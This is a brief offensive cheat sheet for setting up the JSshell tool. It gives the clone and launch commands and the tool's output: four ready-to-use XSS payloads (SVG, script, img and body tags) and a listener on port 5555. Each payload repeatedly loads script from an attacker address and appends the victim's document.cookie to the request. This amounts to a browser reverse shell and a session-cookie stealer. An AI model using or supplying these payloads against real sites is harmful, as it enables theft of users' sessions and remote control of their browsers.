Xss-poc-reverse-shell

git clone

• git clone https://github.com/shelld3v/JSshell/
• cd JSshell/
• chmod +x jsh.py

start

• ./jsh.py -g -p 5555 -s 10.85.70.1

 
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v3.1

Payloads:  
 - SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.85.70.1:5555/?"+document.cookie},1010)>
 - SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.85.70.1:5555/?"+document.cookie},1010)</script>
 - IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.85.70.1:5555/?"+document.cookie},1010)>
 - BODY: <body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.85.70.1:5555/?"+document.cookie}></body>

Listening on [any] 5555 for incoming JS shell ...

Links

• https://github.com/shelld3v/JSshell/blob/master/README.md